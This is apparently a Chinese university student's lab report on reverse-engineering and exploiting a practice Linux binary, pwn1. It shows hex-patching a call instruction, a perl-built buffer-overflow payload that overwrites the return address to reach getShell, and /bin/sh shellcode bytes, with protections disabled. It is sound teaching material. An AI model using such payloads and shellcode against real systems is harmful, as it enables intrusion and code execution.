2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

1 逆向及Bof基础实践说明


1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


  • 三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

  • 熟悉Linux基本操作

    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令、参数
    • NOP, JNE, JE, JMP, CMP汇编指令的机器码

      • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
      • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
      • JE:条件转移指令,如果相等则跳转。(机器码:74)
      • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
      • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
    • 常用的Linux基本操作
      • objdump -d:从objfile中反汇编那些特定指令机器码的section。
      • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
      • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
      • ps -ef:显示所有进程,并显示每个进程的UID,父进程号,C与STIME栏位。
      • |:管道,将前者的输出作为后者的输入。
      • >:输入输出重定向符,将前者输出的内容输入到后者中。

2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术


下载目标文件pwn1,反汇编。


  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

    • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
    • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
  • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。


root@KaliYL:~# apt-get install wxhexeditor
root@KaliYL:~# wxHexEditor

我在图形化的16进制编程器中完成。安装代码参考老师教程,直接搜索d7即可得到修改位置,截图如下。


再反汇编看一下,call指令是否正确调用getShell,截图如下。

运行修改后的代码,可以得到shell提示符,效果如下。


3 通过构造输入参数,造成BOF攻击,改变程序执行流

知识要求:堆栈结构,返回地址

学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

进阶:掌握ELF文件格式,掌握动态技术

3.1 反汇编,了解程序的基本功能


root@KaliYL:~# objdump -d pwn1 | more 8048477: 90 nop
8048478: e9 73 ff ff ff jmp 80483f0 <register_tm_clones> == 注意这个函数getShell,我们的目标是触发这个函数 == 0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 == 08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp) == 这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 == 804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret 080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo> ==上面的call调用foo,同时在堆栈上压上返回地址值:__80484ba_== 80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop 080484d0 <__libc_csu_init>:

3.2 确认输入字符串哪几个字符会覆盖到返回地址

根据上文可以看出,想要覆盖返回地址首先要填充28+4=32个字节。

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

3.3 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

使用gdb进行调试。

对比之前 eip 0x34333231 0x34333231 ,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08。


3.4 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

root@KaliYL:~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

可以使用16进制查看指令xxd查看input文件的内容是否如预期。


然后将input的输入,通过管道符“|”,作为pwn1的输入。


4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

最基本的shellcode的编写可参考许同学的文章Shellcode入门,写得非常之清楚详实。以下实践即使用该文章中生成的shellcode。如下:


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 准备工作

修改些设置。这部分的解释请看第5小节Bof攻击防御技术.

4.3 构造要注入的payload。

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

正确结构为:anything+retaddr+nops+shellcode。

以上实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护(gcc -fno-stack-protector

(2)关闭堆栈执行保护(execstack -s)

(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

(4)在x32环境下

(5)在Linux实践环境

可以继续研究更换以上任何一个条件下如何继续bof攻击。

5 实验中遇到的问题及思考

  • 基本没遇到什么坑,就是感觉自己的汇编语言全还给老师了。
  • 陷入了老师教程中的坑里,试了好几次都有问题,最后发现是注入结构有问题,事实上shellcode正好填满缓冲区,导致其代码可能在运行时被覆盖掉了,具体问题可以通过汇编代码分析。

6 扩展阅读

64位系统对BOF攻击影响非常大,基本先天免疫。一个原因是地址空间大,每个地址都有大量00,没法注啊。启用地址随机化后,也没法猜啊。想研究可以读下附件中的《x86-64 buffer overflow.pdf》。

接下来可以做一下实验楼的Return-to-libc 攻击实验。再研究 rop (Return Orientated Programming)rop攻击实例。多动手实践基本Linux漏洞攻击

最后看看各种技术持综述:矛与盾:二进制漏洞攻防思想对抗

2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. numpy中的广播

    目录 广播的引出 广播的原则 数组维度不同,后缘维度的轴长相符 数组维度相同,其中有个轴为1 参考: 广播的引出  numpy两个数组的相加.相减以及相乘都是对应元素之间的操作. import num ...

  2. require和import区别

    遵循的模块化规范不一样 模块化规范:即为 JavaScript 提供一种模块编写.模块依赖和模块运行的方案.谁让最初的 JavaScript 是那么的裸奔呢——全局变量就是它的模块化规范. requi ...

  3. (66)Wangdao.com第十一天_JavaScript 数组Array

    数组 Array 本质上,数组属于一种特殊的对象.typeof 运算符会返回数组的类型是 object 数组的特殊性体现在,它的键名是按次序排列的一组整数(0,1,2...) // Object.ke ...

  4. Zepto.js_开始

    https://zeptojs.com 轻量级的 JavaScript 库,移动端优先框架 针对移动端,处理了一系列如 click 点击延迟 毫秒 响应执行快 目前 API 完善的框架中体积最小的一个 ...

  5. layer过去的时间不能选择,只能选择未来的时间 LayUI中的时间日期控件,设置时间范围,

    默认Layui中的时间控件显示如下: 我当时系统时间是2018-06-07, 我需要做的是2018-06-07之后过去的时间不能选择 <p><span>时间范围:</sp ...

  6. Python练手例子(2)

    7.将一个列表的数据复制到另一个列表中. 程序分析:使用列表[:]. #python3.7 #适用于简单列表(即列表中都是基本的元素) a1 = [1,2] b1 = a1[:] print(b1) ...

  7. shell 爬取图片下载到本地

    #!/bin/bash #ddmm // #if [ -z $string ] 如果string 为空 #-z STRING the length of STRING is zero read -p ...

  8. SCRIPT438: 对象不支持“indexOf”属性或方法

    SCRIPT438: 对象不支持“indexOf”属性或方法 indexOf()的用法:返回字符中indexof(string)中字串string在父串中首次出现的位置,从0开始!没有返回-1:方便判 ...

  9. Linux 部署 xxl-job 注意问题

    问题:Failed to create parent directories for [/data/applogs/xxl-job/xxl-job-admin.log][原因:权限不足] 启动终端: ...

  10. B-Tree与B+Tree简明扼要的区别

    原文:https://blog.csdn.net/zhuanzhe117/article/details/78039692 看了很多讲B树和B+树的文章,大多都是围绕各自的特性讲的,第一,树中每个结点 ...